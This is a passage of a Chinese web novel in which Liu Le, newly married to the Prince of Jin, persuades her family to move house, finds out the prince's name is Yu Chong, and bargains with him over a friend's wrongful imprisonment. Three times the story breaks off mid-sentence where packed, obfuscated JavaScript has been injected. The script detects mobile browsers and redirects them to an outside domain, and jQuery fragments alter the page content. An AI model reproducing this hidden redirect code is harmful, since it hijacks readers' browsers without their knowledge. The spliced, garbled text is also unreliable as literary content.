“没忘没忘。”柳图忙道,“其实我还有几根读书人的硬骨头。何况妹妹现今是什么身份?更不能招人话柄。我都明白,不妥当的事儿保证不沾手,拿不准的我肯定先问过妹妹。 “换宅子的事我是来回考虑过,并不是为了充门面。上次太医来,不是说爹有郁气结在心里。你看,在这儿住,他难免常想起先前的事。等我们搬进新宅,带着大花园,他的心境能不开阔?而且到时候房屋多,再多几个仆人也挤得下,省得娘操劳。以后在家搭了戏台,各样班子都请来家里,娘只管坐着听戏就行。” 这也是柳乐的憧憬,她实在无法反对。“那便搬去吧。搬家的银子大概还凑得出,房钱我再想想办法,你立好字据,最多一年,到时连本带利一分不少,都得给人家。” “自然,自然。”柳图喜笑颜开,可随即又皱眉道,“娘那边没什么,不过这事情爹不同意。我提过一回,不敢再提,如今爹只能听你的,待会儿你劝劝他。” 29. 劝说和求情 柳乐知道自己嫁入王府父亲就不是打心眼里赞成,只是为了想法救计晨,才默许了,要让他再受其它“好处”,他一定不肯。尤其是如今他的学生还在狱中,要他享宽宅大院,他心里不定多难受。 她沉默了一会儿,柳图出主意说:“近来爹精神不错,我想着他可以把昔日的文稿整理整理,有这个事情做,只怕他还更能开怀。妹妹不妨就这样劝他:如今好些东西都装在箱子里,取用不方便,若搬了家,那边有间书斋,十分宽大。” 柳乐眼睛一亮:“我也早就想着这事了。爹爹讲诗文,见地又独到、写得又浅近,该编出一本书来。外头书铺里头没有这一类的,一定卖得出去。如今我空闲也多了,我可以帮爹爹一起编。出了书,卖出几百几千部,不就是挺大一笔钱吗?——虽然咱们并不单为卖钱。”她有些不好意思,不知不觉中她已和哥哥站到了一边。 “好,好!”柳图大喜,“如今可是柳太史了,他的书,谁不肯买?” “父亲肯定不会署那个。还是用他的旧号,耕云客。” “成,这事情由他、由你定。不过还是先劝他搬家,等他养好身体,再写新的,不往多说,三五日一篇不成问题。”柳图碰着两只拳说。 柳乐起身:“我这就去看看爹。” 柳掌奇刚刚写完了字,放下笔,擦擦手,像平日一般对女儿说:“见了你娘没有?” “见了。我陪爹坐一会儿,你别又赶我去娘那里。” “不赶你,正有事要问你。”柳掌奇坐下。 柳乐看见父亲神情,心里跳了几跳,脸上只管笑着:“娘都问了我了,爹爹再问,我还能答不一样的么?” 柳掌奇微微摇了摇头:“你没有怪我吧?” “我为何要怪爹爹?” “你看,冲儿和晨儿他两个……我白白做了他们的老师,却为他们做不得什么……” 柳乐没想到父亲竟还提起禹冲,这个名字好久没从父亲嘴里说出来了,她喉头一哽,停了停,笑道:“爹,你没有白白做老师,倒是白白操了心,这哪件事都和爹爹没关系呀。他们不过是学生,爹还想管他们一辈子?倒不关心关心自己的亲女儿么?” 柳掌奇笑看着柳乐:“先说冲儿吧——我并没觉得教坏了他。” “当然不是父亲教他——” “我的意思是说,我始终觉得他是一个好孩子。不管那些事是如何,你也不要再怪他了。” 柳乐拼命绷着脸,忍住眼泪,严肃地点点头:“我知道,我早就这样想了,爹爹放心。” “那么再说晨儿——若爹爹有办法,也不需要你……” 柳乐急忙打住父亲的话:“爹爹不要觉得我是委屈了。我并不是为晨大哥,要帮晨大哥是王爷的好心,与我无干。——嫁给王爷,九分是为我自己,还有一分是为爹爹。”她通红着脸,不肯抬起来。 “哦?”柳掌奇果然有点诧异,等着柳乐说。 她过一时才道:“爹爹自己心里不是也明白,爹爹并没教坏了学生,反而是教得好,如今不做老师,岂不怪可惜的?” “你要我再开学堂?” “那倒不是,难道我愿意爹爹再辛苦受累?我是想,爹昔日教学生的那些东西不好就丢了,不若整理出来,编成书。” “若有人愿意读,固然也算件事,只是我恐怕没那个心力了。”柳掌奇微微笑着说。 “怎么没有?如今爹少在我身上操一分心,不就有了?我知道,爹不是不愿干,不过缺一间合用的书房。”柳乐便把换宅子的话劝了一遍,笑道,“这件事我能为爹爹办,不然岂不白做了王妃?反正我嫁都嫁了,反悔不得,难道爹还不肯成全女儿这一点微末的孝顺心吗?” 柳乐知道父亲不容易劝动,索性就这样半开玩笑地直说出来,果然柳掌奇不能一口回绝,只是无奈地笑道:“我懂得,不光对我,对全家都好。我自然也愿意搬,难道你爹爹是那样死板,高洁过了头,非得大家都陪我在这里委曲?我原是想着,你哥哥去找钱家帮忙,人家既帮了我们,将来有需要我们之处,不知我们帮不帮得了人家。” “这个爹爹不必担心,这些银子当然是我出。”柳乐不由撒了个谎。“爹爹若怕欠我的,我把话说在前头——我也不是白出银子,卖书得的钱我可就先拿了。” “那你恐怕真要白出了,我这书还不知何时编出来呢。”柳掌奇也开起了玩笑。 柳乐喜得一拍手:“爹爹只管写新的,原来的旧稿就押给我了。我空闲多,正想找些事情做,我来给爹爹编出来。” 柳乐说通了父亲,心里很高兴,不过一家人怎样都好说,面对董素娥却实在是为难。想起要去见她,柳乐的心沉了沉。 再三拖延,终还是硬着头皮走进柳词的房间。董素娥一见她就要跪下,柳乐赶紧跨前一步搀住。江岚也急忙去拉:“这可使不得。” “太太快坐下,不然我可不敢呆在这儿了。”柳乐劝董素娥坐好,问道,“计伯父这一向可好?” 董素娥双目流泪说:“哪能好,老大虽然回家了,晨儿还关着。就怕哪日我们死了,也见不到他一面。” “太太莫急,我没有忘了晨大哥。晨大哥一日不放出来,案子一日没了结,我就想一日的办法。你们二老千万保重身体,再多等几日,他一定回家。” 董素娥哭道:“先前让你受了不少委屈,你别往心里去,看在晨儿……看在昔日面上,在王爷跟前说些好话,替我们求一求王爷。大恩大德,衔环结草报答你。” 柳乐连忙劝慰,口上只管应诺,其实心里没多大底气。她怕家人担心,一直装出夫妻和睦的样子。此时,她也不敢向董素娥坦白:若不算蒙着盖头拜天地,瞥见他脚上一双赤舄,她最后一次眼睛看见晋王,其实与董素娥一样,就是那天晋王去计家,她们同被羞辱一场。 她说:“放心,我一定和王爷讲。只是这几日实在没寻到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823491|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会,等我下次见王爷时,一定向他要个准话。” 董素娥千哀告万恳求了一番,看柳家快要开饭,才急忙告辞,江岚苦留不住,送出门外。 吃过午饭,柳乐又和母亲、嫂子、妹妹各聊了几句,就连和两个侄儿,她都有说不够的话,只是留恋不舍,不愿起身。正在憋着泪时,王府派人来说:“王爷令属下传话:王妃往来劳累,请多歇一日,明日未时回王府。” 这真是意外之喜。中午那顿饭,因一直想着即将与家人分别,菜吃到嘴里都没滋味。眼下又多出一整日来,全家人团团围坐,好消消停停吃一顿饭,柳乐别提多高兴,破天荒地,她在心里念了王爷的好。 晚间,江岚把她叫到身边,“你在那儿到底怎样?” “娘,我不是都说了么,好着呢。就是回来一趟不容易,总掂着你们。”柳乐把头倒在母亲腿上,撒娇道。 “看你,还像小姑娘一样。”江岚摩挲着她的脑袋,“也是,总觉得你出门已经好久,其实真正过小两口的日子,又才几天呢。” 柳乐不吭声,江岚把她的脸扳着,向眼睛看了看:“没偷偷掉眼泪吧?” “又不是远远离了家,不得回来,有什么好掉眼泪。” 江岚叹口气:“你和娘实说,你心里头还难受吧,为了……” “娘,你别说这些话。”柳乐抬起头。 “我不会对人说,与其你憋着,倒不如对娘说说。” “我没难受。”柳乐认真地说,“娘,晨大哥一直都是我的好朋友,他出了事,我心里当然着急。我一定想法救他出来,但等到他平安无事,那时我不会再记挂他,也不会悔恨自己离了他另嫁。” “那便好,计晨一家不会怪你,终是缘分不到罢了。你自己也要好好过,不然计晨心里会不安。” “我会的。我嫁王爷,并非因为他是王爷。他若不是,我还更高兴些。”柳乐轻松地说,脑中现出晋王修长、深邃、寒光闪闪的双目。她现在几乎想不起他的面貌了,除了那双眼睛。她加上一句,“毕竟他的模样很好看。” “你们小丫头的心思。”江岚笑道,遂又正色说,“我看王爷人挺好。虽说王府里规矩大,也不是专为你设的,他自己也照做。他们帝王之家,尤其还要讲脸面好看,对你至少面子上的尊重会有,至于里子,那得靠你自己。他们那种人生来就立在上头,不像咱们小百姓会体贴人。他体贴你少,你多体贴他,反正两人中间总有一个要辛苦些,有些事情你多做,别一味使性。” “什么事情?”柳乐天真地问,“娘总说到人家家里要百事勤谨,可是王府里那么多丫环仆人,什么事都有人做,轮不着我。” “不是那样说。”江岚慈爱地笑起来,“再多人,还是你们两个过日子。该怎么做,慢慢你就懂了。你只记住,他和你一样,也是个人,也是肉长的,也要吃茶吃饭,也想要一颗热乎乎的心守着。” 柳乐点了点头。 30. 折柳与名字 第二天,柳乐得陇望蜀还想多住一日,但午饭后,王府的车马按时到了门前,她只好挥别家人,回到王府,却依然不见那晋王。 睡了一夜,柳乐早早起床,立即开工,拿出父亲的旧书稿,细细整理誊抄。中午吃过饭,她又坐在桌前,巧莺在旁帮手,时不时朝窗外瞅一眼。“这里真安静。”巧莺说,“好容易今天是个大晴天,出太阳了,姑娘想不想出去走走?” “我还不想动弹,你去吧,正好和王府的人熟悉熟悉,顺便打听一下……” “我懂得,姑娘放心。”巧莺立即说。 一个时辰后,巧莺跑回来:“我都问到了:这王府大小一共六个门,王爷由哪个门进,哪个门出,从没个一定。所以除了跟在他身边的,里头这些人没法说清楚王爷什么时候是不是在府里。” 柳乐放下笔,“府里总共有多少人?” “不多,可能还不到二百。现在府里做事的所有人都是王爷没醒来时太皇太后派来的,王爷醒来后,还是这些人,也没再添。所有丫环中最有头脸的两个是王爷书房的小杏和小蝉,我去瞧了瞧,就是两个黄毛丫头,我都没法叫她们姐姐。她们倒是挺怕我。一说才知道,王爷刚醒那天,恰好是她们在旁边守着,才提拔她们去书房。两个人傻傻乎乎的,我问王爷怎么突然醒来,当时是怎么个情形,她们都不敢说。” “谁让你打听那个了?” “我这不是先套套话嘛,哪能上去就问王爷在哪儿,让人家怎么看姑娘?反正我都打听出来了,先前王爷刚好了时,就住在这边屋里,后来他有公事办,大概为方便,便挪去书房院子住,倒是在那儿的时候多,偶尔才回来。我假装左看右看,说这儿都是书,怎么住人?王爷又不是赴试的书生,还需彻夜苦读,她们该劝劝王爷,别让他再累坏身子。她两个说王爷睡在厢房,说王爷只要她们白天在书房,晚上不值夜,每日酉时她们便回自己屋子去,也不知王爷几时睡觉。我瞧她们的样子不像是撒谎,我就说:‘两位姐姐别笑话,我们姑娘初来乍到的,心里头惴惴不安,生怕哪里行错了。——你们瞧王爷这几日是高兴不高兴?’” “你让人家怎么看我?”柳乐斜睨巧莺。 “姑娘放心,她们不敢,我就是瞧她两个没那些心眼才问的。她们说自大婚那日,还一直没见过王爷。这不就搞清楚了?王爷这几天白天不在书房,那晚上大概也不至于住在那儿,可见王爷根本就不在府里,倒不是有意冷着姑娘。” “他连王府都不回了,你说他不是有意冷着我?” “不是,不是。”巧莺赶紧说,“姑娘想,王爷不是刚从外头赶着日子回来行婚礼?恐怕真是有要事,还没忙完。” “他冷不冷我倒没关系。”柳乐一笑,又皱眉道,“只是他总躲着,我求他的事可怎么办呢?” “姑娘莫急,我想起来了,”巧莺拍拍脑袋,“我还听说后头有个好大的园子,先前没人去,好多地方封了,为了迎娶姑娘,全部修整了一番,还有几所新建的院房。——若只是做做样子,不真心器重姑娘,费工夫修它干什么,要不明日我陪姑娘先瞧瞧去?” “好,明日咱们去转转。对了,明日是十五了。”柳乐记起这是进宫请安的日子,“你去掌衣那儿问问,明早进宫,备了什么样的衣裳。” 巧莺走后,柳乐站起来伸了个懒腰,也没心情继续看书写字了。想起前段和家人在一起时的温馨热闹,便有忧烦还可暂时忘怀,再看如今,空屋冷壁,真是令人闷煞。 她信步走出屋子,一路向后走去。院中打扫的丫环看见她,远远福身行礼,便避让开。这些人当我是什么,都怕和我说话似的,柳乐心想。但也好,若她们围上来,随处跟着,那她真像个囚徒了。 那位晋王虽则不可理喻,但也绝不呆傻,娶她进王府,定有原因。柳乐一边走一边思索缘由何在。兵法讲究知己知彼,摸清楚了,才好和他“谈价议约”。 本来以为他是见色起意,她还奇怪,因为京里比她貌美的大有人在,可现在看来并不是为色——这样最好,不然她成个什么人了? 但她实在想不出,她身上有哪样特别之处能被晋王看中。 就算是为着向长辈交代,随便娶一位,瞅准了她身份低,生不起事端——倒不是希望别人进这火坑,可说句难听的,从一般情理上讲,娶计晴不是更便利?何必顶着众人的指戳,置皇家颜面于不顾,非娶她一个二婚之人? 想不通,索性先不想,横竖她已经把自己押上,该看他了,至不济,还有个鱼死网破。柳乐心里放宽了些,不知不觉走近花园,心道:巧莺说这花园为成亲修整过,别浪费他一番“美意”,我何不先去瞅瞅?心怀一开,也不及等巧莺,直走了进去。 王府座在紫金山东南面山脚下,位置得天独厚,得以圈出很大一个园子。花园半借山势,高低错落有致,又有从山中引出的活水成溪成池,风景可爱,几可入画。 较之皇帝宫苑的壮丽,此处要秀雅些,正合柳乐的喜好。园中有合抱的古树,亦有繁密的异草,冬时也并不凋零。这时候虽不是草薰风暖、春色欲就,却另有一种映花云轻、书叶墨淡之幽韵。但见亭台轩榭参差于湖石草木间,说不尽竹掩朱扉,霞入绿牖,檐钩新月,帘卷柳风。 她慢慢赏景,愈看愈惊奇。这些天在前面正院见了那一座座画阁朱楼,高堂广厦,虽则也惊奇,也赞叹,但不过是惊奇赞叹而已。唯独此时见了这园子,实在是好,实在是羡慕。一时猛又停住脚:羡慕什么,现在我不就在这儿么,天天都可以来领略。这样一想,颊上热起来,低头向前走,仿佛朝四周多看一眼都怪心虚。可是不看不看,那些花木之幽香、鸟啼之婉转还只管叫清风送到脸前,不知不觉她的脚步又放缓了,心里不由想:等晨大哥翻案开释,再没有悬心之事,在这里倒也不是不能自得其乐。 柳乐不识得路,顺着一脉清溪走,这时,来到白云池边——这是她刚取的名字,因为平贴于水上的桥是一块块白色的大石连成,石块表面很平,形状各异,边缘圆钝如云朵一般。她蹲在石板上瞧了一会儿金鱼,想着以后要带糕点来,惹鱼儿争抢嬉戏。一偏头,发现身边多了位不速之客。 是只黑猫,全身惟尾巴尖上有一小段白色,人们称为“墨玉垂珠”的。猫儿凝然端坐,四只小爪挨在一起,尾巴优雅地盘在旁边,从背影看是位谦谦君子,可再瞧正面,几根毫针一样的胡子笔直地从嘴旁伸出来,轻轻抖动,黑亮得发出银光,那对琥珀珠般黄眼睛里的黑瞳仁则一霎不霎直对着塘里的鱼。 柳乐伸手摸它圆圆的脑袋,见它不挠人,喜得抱起在怀里,低头用脸蹭着。“你真是个小乖乖。你住在哪儿,有没有人给你喂食?可不许抓鱼儿,我瞧瞧能给你找些什么吃的。” 她抱着猫一路闲逛,一面留意着道旁有没有猫窝、食碗。再一抬头,面前又是一所院落:一道略扁圆、橘子形的月洞门,扇形匾额上草书两个大字——“折柳”。 折柳表示惜别,放在这儿却显然是另一种意思。柳乐看着龙飞凤舞、洋洋得意的两个字,嗤了一声。 她足尖一转,本想就走,可是门内插着花木葱茏、锦屏也似一面小山,之前在高亭上曾见西北方位有座山,想来就是此处。一瞥之下,总觉奇巧还尽在山后;况且门两边云|墙连绵,似比别处院子更大更深,令人顿起探幽之心。 “咱们再瞅瞅里头,要是还找不到人要你,我就抱你回去养。” 柳乐对猫说着话,步入月洞门,两面一望,右手边森森一片翠竹,遥遥望见林中石桌茅舍,静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841340|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谧清幽。若春夏日于此烹茶弈棋,倒不失惬意,此时柳乐感到身上一件银鼠褂子有些单薄了,她把猫儿更紧地拥在身上,朝左面石子铺就的小路走去。 走不得几步,脚下小路分为两股,一道从山边绕过,一道拐入山中。柳乐选了那道曲曲折折的,在山林间忽上忽下,正绕得不亦乐乎,道路却在一堵山岩前戛然而止。再一细瞧,原来岩上有大洞,叫一丛累垂的藤萝遮住了。洞口安着两扇大门,轻轻一推,应手而开,柳乐信步入内,走过短短一段穿廊,尽头一挂水晶帘,里面螺钿桌、云母案、白玉床、鲛绡帐,各样家什置放齐全,竟是来到了一间屋舍。 屋内毫无潮冷之气,融暖如春,飘着淡淡的花果甜香,根本不似在山洞中。柳乐随即发现这是在洞内用木头搭建出的一座小阁。香与暖倒罢了,总有法子办到,奇的是屋子没有窗户,四下里却看得明明白白,又不是烛火的黄光。她举目向四面一望,两侧墙上挂着灯座,上面各置一对溜溜圆、橙子大小的莹亮宝珠,正放出似晨光的浅蓝色光芒。 柳乐从没见过这样东西,踮着脚尖转来转去地欣赏了半天,心内纳罕:这大约就是人家说的夜明珠了,一颗也难得的稀罕物,这儿一把就摆了四个。谁会来这儿呢?——那么些好端端的屋子还不够,费许多力气,在山洞里搭一间暖阁是什么道理? 她颇有点瞧不上这种种无谓的奢靡,继续朝前走。屋子另有一道门,拨开虾须珠帘,又是一段穿廊,出了山洞,来到了小小一片山坞。 山坳中雾气缭绕,定睛看时,白烟自一方小池上冉冉而升,原是一眼温泉。 柳乐这才醒悟,身后的洞屋是为在泉中沐浴后更换衣物用的。 泉池大致是个葫芦形状,葫芦嘴便是泉眼所在,汩汩地冒着水花。葫芦上端部分,水上跨着朴朴素素一只庐亭,亭上题两个字——融雪。亭下一面圆圆的白玉桌,比水面只高寸许。这是为方便沐浴时饮酒作乐吧,想到此处,柳乐脸红了。 然而小池又实在可爱。远离尘嚣,为山石树木环抱,还有何处比此处更能令人涤尽烦恼?抬头仰望,顶上是一方宁静的淡青色天空,她不由去向往落雪时的情景。 自打出了山洞,那猫儿便弓起身,紧紧扒住柳乐肩膀。柳乐把它揪下来,“别把我的衣裳抓破了,可是新做的呢。放心,不给你洗澡,你这个不爱干净的臭家伙。” 她沿着来路再向前走,很快绕出山来。不一时,脚下小路连上一道回廊,转过回廊,柳乐定住,她好像闯入了一幅画中。 面前是宽宽大大一所院落,屋舍一样是白墙青瓦,庭中一般栽花种竹、凿池引水,不过这庭院不似别处寂寥,此时,一张矮几置在廊檐外,摆满了大小果碟儿,晋王散着发斜躺在坐榻上,一手支着头,另一只手慢悠悠地把酒杯举至口边。斜阳熔一层金光在他的大红宽袍上,如一片炽烈的火。 并不是其它地方的景致逊于此处,可因为少了画中人,便失了一种仅有血肉之躯才能带来的力量,相形之下自然显得朦胧暗淡了。 但仍有美中不足处:他的神情十分冰冷,与闲适的姿态毫不相称。一双眼睛不知盯在哪里,反正柳乐绝不愿意被这样的眼睛注视。 就在她进退不能时,晋王懒懒散散坐起身,目光不快地向她胸前一扫。那猫儿原本乖顺地趴在柳乐身上,这时一扭身卜楞跳下地,一阵烟似的没影儿了。 柳乐只得上前行礼,“殿下——” 对方抬手止住,“何必这么生分,既然已经嫁了我,直接唤我的名字。” 柳乐想起前事,不大情愿地轻声说:“我还不知殿下的名字。”这门亲结得古怪,就连庚帖婚书都是拿空白的给柳家填,婚礼上唱的又是他的封号。是以至今,除了他的王爷身份,她对夫君一无所知。 31. 印章和承诺 “柳乐,你叫柳乐。”晋王说,“我叫禹冲。” 一霎间,柳乐怔在原地,气都喘不出。她以为准是自己听错了,皇家不是姓魏吗。 “殿下的名字叫……” “禹冲。”晋王从腰上解下一块玉,随意向她一抛,“你当我骗你?” 柳乐急忙去接。东西太小,她手没抓住,看见那白色玲珑玉石飞入怀里,慌忙合臂抱紧,一时不知夹在哪处,怕一松开,在石板地上摔碎了它,弯着腰一动不敢动。 晋王看了一眼,走上来,轻轻扶起她,一只手从她胸前和臂间插进去。“在这儿。” 柳乐赶快放下手臂,慢慢后退一步,涨红了脸。 好在晋王把物件递到她手里便转身坐回原位。柳乐低头去看,这是一枚私印,篆刻端庄大气,高贵肃穆,刻着的是两个字:予翀。 原来是这两个字,原来只是读音相同。 “魏予翀,这是天老爷给我的姓名。魏字你叫不得,以后叫我予翀。” 柳乐缓缓吐出一口气:“殿下的名字,我记住了。” “记住了便用,以后别喊殿下。你拿着吧。”晋王予翀抬抬下巴。 “殿……”柳乐一开口就又说错了,但要她不称殿下可以,却实在没法对着这个人叫出那个曾经珍重无比的名字。“这是你的印章,我不该拿。” “别递过来了,你替我收着。”予翀随随便便一挥手。 柳乐只好听从,本要把它装入袖中,又想这东西万一丢了麻烦,且为了显得尊敬,她便先躬身将玉章放在案上,又去摘腰上系着的一只香袋。 予翀忽道:“算了,让人先拿下去收着。” 他抬手不知向何方打了个手势,立即一位青衣侍从飞跑近前,脚下半点声音也没发出来,收了东西,又后退消失不见。 柳乐认出上回杀人时就是他在旁边,吃了一惊,不由向四处去看。 “不用找,再没人了。”予翀犀利地盯住她,“你刚才好像很害怕,为什么?” 柳乐定定神,“不是害怕。——昔年我父亲有位学生,姓名与你一样,我好久没有听过他的名字,猛一下有些吃惊。”她想没什么好隐瞒的,直视着予翀说。觑他神情,加上一句,“不过字不同,并没有犯了殿下的讳。” 予翀不耐烦似地摆摆手,转了话题:“你过来是为何事?” “我听说这里花园很美。” “喜欢吗?” “喜欢。不过我确实有事要找殿——找你。” 予翀不言语,柳乐又开口:“我想问问,计员外郎……” “你非得为计正辰的事情,才来和我说话?”予翀毫不客气地说,一瞬间脸色变得更冷。 “殿下平日事多劳烦,我扰了殿下休憩,还望宽宥。”柳乐道歉说。 “我原指望着,你和他已经一刀两断了。” “我和计员外郎是已经无瓜葛了,但计员外郎已在狱中关了许久,我……” “难怪人说一日夫妻百日恩。”予翀哼道,“你不怕得罪我,也要为他求情?” “计员外郎也曾是我父亲的学生,因为此事,我父亲心中不安,他身体不好,我怕他烦忧过甚,再添了病。” “明日派太医过去看看。”予翀立即说,“计正辰自己作恶,与别人无关,要牵连也是他计家的人,连他老头子都好好的,没人责罚他教养不力,又怎会怪到岳丈大人头上?岳丈大人桃李天下,也就碰上这一颗烂果,丢开就行了,不用为他挂心。” “可是计员外郎没有作恶。”柳乐坚定地说。 “你这样肯定?”予翀抬眼瞅着她。 “我肯定。”柳乐毫不犹豫答道。 “为什么?因为你父亲的学生不可能有坏人?还是因为你与他多年相知,所以能不问事由地相信他?” 柳乐顿了一下:“因为没有证据。我不会不问事由,可是有人正做着这样的事,声称计员外郎勾结外敌,意图……谋逆,真凭实据在哪儿?拿不出证据,别人说什么我都不会信。” 予翀同样停了一会儿才开口:“这得去问刑部,他们正在查,至于是何样凭据,查清楚后自然一件不漏呈出来;查不出,也不会关他一辈子。” “已经查了这么久,查出什么了?” “这可不是偷鸡盗狗的小勾当,一下子便能查清楚断明白。” “他不会偷鸡盗狗,亦不会蒙蔽朝廷。” “蒙蔽朝廷?谅他还没那个能耐。”予翀微微一笑,安慰说,“不必急。你看,难道现今是豺狼当道、蛇鼠横行?既不是,足见官府还靠得住。” “难道官府就从不冤枉人,就不会办出冤案?” “会,当然会。”予翀又笑一下,旋即冷漠地说,“不过那有什么,古往今来,冤死的人也不止他一个。” “你明明答应过!”柳乐气得声音都变了。她原本是要婉转些的,但说着说着事先想好的一套辞令全忘了,也顾不得予翀可能不高兴,不敢置信地瞪着他。 予翀站起身,和她隔案对视,“我明白了,纯粹是场交换。我救他,你才嫁我,是不是?” “不是。”柳乐还没有完全昏了头,她平平气,说,“我嫁给你心甘情愿,与其它任何事情无涉,但是殿下也确实答应过我。——我愿意嫁的人,不求他声名显赫,只要他是一个言出必行、顶天立地的大丈夫。” “好,那记住你这个心甘情愿。”予翀深深看了她一会儿,又坐下,恢复了先前的闲适姿态,“不过你的言下之意我也听出来了:要是我反悔,咱们之前那些盟誓便不作数了。” 柳乐脸有点儿红:“咱们是明媒正娶,拜过天地祖宗,当然作数。并且我知道殿下绝不会言而无信。” “对,拜过天地当然作数,走到哪里都作数。”予翀抬起眼,向着她笑了。 “那么殿下……” “言而无信倒不至于,不过我记得是答应过不去为难他,可没答应放他出来,我没那个本事。” “可你明明能够随意……”柳乐气结。 “你说上次杀那人么?你倒很会拿我的把柄。”予翀好笑似的看着柳乐,心平气和地说。 “不是。”柳乐的脸红了个透,“上回你救了我和计姑娘,我感激之至。我知道,取人性命对殿下来说也并非小可之事,但因是正义之举,殿下便可做。这回有何不同?” “这回不一样——”予翀摇头,“那天我亲眼看见他对你怀不轨,当然忍不得。可计员外郎这案子自有人审理裁夺,安心等着便是,大可不必我胡乱插一脚。” “计员外郎的家人已经等了三个多月,已经十个月没有见到他一面,如何安心?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850707|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 予翀想想,说:“那么我派人去劫牢狱,把计员外郎送到个平安之处,让他的家人能够与他会合?” “如何做那盗贼行径?”柳乐又忍不住气恼,喊叫道,“计员外郎是堂堂正正的人,为何不能堂堂正正出狱?” “对了,他可是个堂堂正正的人。”予翀的声音还是低且平静。 一时间柳乐心全灰了,知道再怎样求他都没用。不,是她自己没用,想不出任何办法。她气恨着自己,又拼命忍住气,憋住泪。 予翀凝目看着她,张口道:“你想要计员外郎堂堂正正出来,又着急,不肯等着衙门结案,这就难办了。仗着王爷的势力,就算是堂堂正正?再说关他的不是我,我也没权力一句话就放他。或者你说得再明白些,想要我怎么帮忙? 柳乐听他有松动之意,急忙说:“不要你放他,只要你去请皇帝过问一下,让他们管这案子的人不得再拖延,尽快集齐人证物证,拿证据断案,不许有人从中弄鬼,并且未释放计正辰前,允他家人探望。” “倒也不麻烦,”予翀似笑非笑,“你再想想,只要这些?” 柳乐果真想了一想,犹豫着说:“若能借出案宗让我瞧瞧,或许——” 予翀笑出声,打断道:“你还想查案?” “对!”柳乐吃他取笑,反大胆起来,“这案子或许复杂,但计正辰是否牵涉其中,我不信有多么难断。他们不嫌自个儿无能,那我也不怕试试,他们敢说公道,我更敢,他们谨慎是为保住自己的官帽子,我多事是为不让好人蒙不白之冤!” “你不若直说你是为计正辰一人。”予翀的语调冷如冰。 “殿下路见不平,不也是拔刀相助么?我为何不能为朋友?” 予翀哼一声:“我想他大概不会愿意让一个女子为他费心费力。” “可是并没有给他别的办法,关了他这么久,有何人肯听他为自己辩解一句?” “计晨何其有幸。”予翀深深叹息,“若是我陷于牢狱,恐怕没人会为我做这样的事。” “殿下不会碰到那种事。” “世事难料,你不明白?” 柳乐不语。 “假若真有那一天,你会为我四处奔走求情?”予翀追问。 这问题无法回答,柳乐知道,不管她怎样答,他都不会高兴。 “若果真碰到那样一天,我也无能为力,愿与殿下同生共死。” 予翀只低哼一声。 柳乐也不指望他会信。 “你可考虑清楚了,这次我帮计正辰,以后我不会再答应你别的事。” “我不会再求你其它事。”柳乐不假思索答道。 “那便一劳永逸好了。”予翀不瞧柳乐,握着酒杯,又歪在坐榻上,“省得你再来跟我说计正辰这般计正辰那般,我懒得听。我明日就去请求皇上放了他,我为他作个保,皇兄便是不高兴,也定能答应我。到时会将他官复原职,且写在邸报上,昭告天下,说明计晨涉私采铁矿一案,经查无此事,还他个公道。除非将来另有确凿证据,绝不再抓捕他。做到这步,你可满意了?” 柳乐没想到他突然这样痛快,倒没话答了,只说出谢谢二字。 予翀坐直身,看了她半晌,突然咧嘴一笑:“没伤了和气吧?我们这好像是婚后头一次见面,你过来坐下。” 32. 黄昏与鹦鹉螺 坐榻很长,予翀在三分之一处坐着。柳乐心里估量了一下,既不能太远,也不肯过近,在另一头三分之一处坐了。 予翀指指桌案:“饿了吧,想吃什么,或者让人添了东西来?” 他这一和颜悦色,柳乐反而浑身上下不自在。和他脸对着脸,看得更清:现在他面上已完全没了苍白脆弱之色,身穿红色袍子,显得容光焕发;漆黑两道剑眉直侵入鬓,其下的双目又黑又深,刚才还是寒气逼人,这时却流溢出和煦的光彩。 柳乐向桌上望去,看见只有一副杯箸,但所有盘子显然都没被动过,他只是在喝酒。她也不饿,便说:“不用,我不想吃。” “那你就陪我坐一会儿,不必这样紧张,又不会吃了你。” 他提壶斟酒,倒入那只奇特的酒杯:杯身是只鹦鹉螺,镶在高高的金足上,螺壳像云母那样闪着细细的柔和光芒。 柳乐不知自己是不是该陪侍倒酒,若是换个人,哪怕是头回见面的生人,她自然而然就明白要如何相处,可是这个人,虽然已是自己的丈夫,但她永远不可能与他亲密无间。 对他,亲近、信赖固然是谈不上,也无感激、敬畏之意,但要说感到十分憎恶,那倒不至于;讨厌,有一点,当他话中带刺,故意蜇人的时候,害怕,也有一点儿,那是想起他杀人时的眼睛。 予翀把酒壶搁在自己手边,也并不开言,他时不时端起杯子啜饮,自在地向四周望着,好像已经忘了柳乐。 柳乐便想站起身:“打扰了殿下,你慢慢用吧,我还是……” “事情谈妥,这就要走了?”予翀嘲弄道。 